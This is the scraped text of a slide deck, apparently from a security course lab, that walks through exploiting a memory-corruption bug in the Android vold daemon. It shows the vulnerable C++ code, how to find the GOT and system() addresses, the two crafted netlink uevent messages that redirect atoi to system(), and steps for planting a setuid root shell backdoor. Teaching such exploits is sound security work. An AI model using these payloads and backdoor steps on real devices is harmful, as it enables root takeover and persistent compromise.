Vold Daemon Exploit VOLD Daemon Vulnerability 1 void
Vold Daemon Exploit
VOLD Daemon Vulnerability 1 void Direct. Volume: : handle. Partition. Added(const char *devpath, Netlink. Event *evt) { 2 int major = atoi(evt->find. Param("MAJOR")); 3 int minor = atoi(evt->find. Param("MINOR")); 4 5 int part_num; what 6 7 const char *tmp = evt->find. Param("PARTN"); 8 9 if (tmp) { where 10 part_num = atoi(tmp); 11 } else { 12 SLOGW("Kernel block uevent missing 'PARTN'"); 13 part_num = 1; 14 } 15 16 if (part_num > m. Disk. Num. Parts) { 17 m. Disk. Num. Parts = part_num; 18 } 19. . . 20 if (part_num > MAX_PARTITIONS) { 21 SLOGE("Dv: part. Add: ignoring part_num = %d (max: %d)n", part_num, MAX_PARTITIONS); 22 } else { 23 m. Part. Minors[part_num -1] = minor; 24 } 25 --m. Pending. Parts. Count; 26. . . 27}
Memory Layout. text Address 1 (fopen) . got Address 2 (atoi) . data heap allocated data … void Direct. Volume: : handle. Partition. Added(const char *devpath, Netlink. Event *evt) { int major = atoi(evt->find. Param("MAJOR")); int minor = atoi(evt->find. Param("MINOR")); int part_num; Volume { …, int m. Part. Minors[] } >< top of stack main() local vars argc, **argv, **envp environment var’s } const char *tmp = evt->find. Param("PARTN"); part_num = atoi(tmp); . . . m. Part. Minors[part_num -1] = minor; . . .
Memory Layout. text Address 1 (fopen) . got Address 2 (atoi) . data heap allocated data … void Direct. Volume: : handle. Partition. Added(const char *devpath, Netlink. Event *evt) { int major = atoi(evt->find. Param("MAJOR")); int minor = atoi(evt->find. Param("MINOR")); int part_num; Volume { …, int m. Part. Minors[] } >< top of stack main() local vars argc, **argv, **envp environment var’s Attacker controlled pointer. } const char *tmp = evt->find. Param("PARTN"); part_num = atoi(tmp); . . . m. Part. Minors[part_num -1] = minor; . . .
Memory Layout. text Address 1 (fopen) . got Address 2 (atoi) . data heap allocated data … void Direct. Volume: : handle. Partition. Added(const char *devpath, Netlink. Event *evt) { int major = atoi(evt->find. Param("MAJOR")); int minor = atoi(evt->find. Param("MINOR")); int part_num; Volume { …, int m. Part. Minors[] } >< top of stack main() local vars argc, **argv, **envp environment var’s Attacker controlled pointer. } const char *tmp = evt->find. Param("PARTN"); part_num = atoi(tmp); . . . m. Part. Minors[part_num -1] = minor; . . . Attacker controlled content
Memory Layout. text Address 1 (fopen) . got Address 2 (atoi) . data heap allocated data … Being called first with an attacker controlled String. void Direct. Volume: : handle. Partition. Added(const char *devpath, Netlink. Event *evt) { int major = atoi(evt->find. Param("MAJOR")); int minor = atoi(evt->find. Param("MINOR")); int part_num; Volume { …, int m. Part. Minors[] } >< top of stack main() local vars argc, **argv, **envp environment var’s Attacker controlled pointer. } const char *tmp = evt->find. Param("PARTN"); part_num = atoi(tmp); . . . m. Part. Minors[part_num -1] = minor; . . . Attacker controlled content
Memory Layout. text. got. data heap allocated data Volume { …, Being called first with an attacker controlled String. Address 1 (fopen) system Address 2 (atoi) void Direct. Volume: : handle. Partition. Added(const char *devpath, Netlink. Event *evt) { … int major = atoi(evt->find. Param("MAJOR")); int minor = atoi(evt->find. Param("MINOR")); int part_num; overwrite int m. Part. Minors[] } >< top of stack main() local vars argc, **argv, **envp environment var’s } const char *tmp = evt->find. Param("PARTN"); part_num = atoi(tmp); . . . m. Part. Minors[part_num -1] = minor; . . . Attacker controlled content
Tasks 1. 2. 3. 4. 5. Figure out GOT’s address Ag. Figure out *m. Part. Minors pointers base address Am. Caculate offset between Am and Ag. Figure out address of system(). Craft an input to VOLD daemon to overwrite entries in GOT to point to system(). 6. Craft another input to trigger overwrote method with desired command.
Task 1. GOT address 1. Pull /system/bin/vold from emulator to the host machine. 2. Execute following command on vold on the host machine to figure out GOT address. (This is for MAC OS. For linux or windows, you should use corresponding objdump in the NDK. ) . text. got. data heap allocated data Volume { …, int m. Part. Minors[] } >< top of stack main() local vars argc, **argv, **envp environment var’s Address 1 (fopen) 0 x 14368 Address 2 (atoi) Address 3 (strcmp)
Task 2. m. Part. Minors address. text find_pointer_address program require “android. permission. READ_LOGS” permission. So, before execute find_pointer_address, you should switch to user “log”: su log . got. data heap allocated data Volume { …, 0 x 16208 int m. Part. Minors[] } >< top of stack main() local vars argc, **argv, **envp environment var’s Address 1 (fopen) 0 x 14368 Address 2 (atoi) Address 3 (strcmp)
Task 3. Calculate Offset. text. got. data heap allocated data Figure out by yourself. Volume { …, 0 x 16208 int m. Part. Minors[] } >< top of stack main() local vars argc, **argv, **envp environment var’s Address 1 (fopen) 0 x 14368 Address 2 (atoi) Address 3 (strcmp)
Task 4. system() address Put following code snippet into your program to get the system() method’s address. static void *find_system() { char *system = "system"; void *r = NULL; void *dlh = dlopen("/system/libc. so", RTLD_NOW); if (!dlh) } exit(errno); if ((r = (void *)dlsym(dlh, system)) == NULL) exit(errno); dlclose(dlh); return r;
Task 5. Craft message 1. text Send msg 1 to vold to overwrite GOT entry atoi to system. @/foox 00 ACTION=addx 00 SUBSYSTEM=blockx 0 0 DEVPATH=/devices/platform/goldfish_mmc. 0x 00 MAJOR=179x 00 MINOR=system_addressx 00 DEV TYPE=harderx 00 PARTN=idx . got. data heap allocated data Volume { …, 0 x 16208 int m. Part. Minors[] } >< top of stack main() local vars argc, **argv, **envp environment var’s Address 1 (fopen) system 0 x 14368 Address 2 (atoi) Address 3 (strcmp)
Task 6. Craft message 2 Send msg 2 to trigger atoi in the code with command you want to execute. (atoi should be system now. ) @/foox 00 ACTION=addx 00 SUBSYSTEM=bl ockx 00 DEVPATH=/devices/platform/goldfish _mmc. 0x 00 MAJOR=commandx 00 MINOR= 1x 00 DEVTYPE=harderx 00 PARTN=1 . text. got. data heap allocated data Volume { …, 0 x 16208 int m. Part. Minors[] } >< top of stack main() local vars argc, **argv, **envp environment var’s Address 1 (fopen) system 0 x 14368 Address 2 (atoi) Address 3 (strcmp)
Command could be a shell script to create backdoor 1. Copy /system/bin/sh to a local directory /data/local/tmp 2. Remount /data partition. (mount –o remount, rw /dev/block/mtdblock 1 /data) 3. Change ownership of /data/local/tmp/sh to root 4. Add setuid bit (chmod 4711). 5. Backdoor done!
backup
class Direct. Volume : public Volume { public: static const int MAX_PARTITIONS = 4; protected: Path. Collection *m. Paths; int m. Disk. Major; int m. Disk. Minor; int m. Part. Minors[MAX_PARTITIONS]; int m. Disk. Num. Parts; int m. Pending. Parts. Count; . . . };
- Slides: 17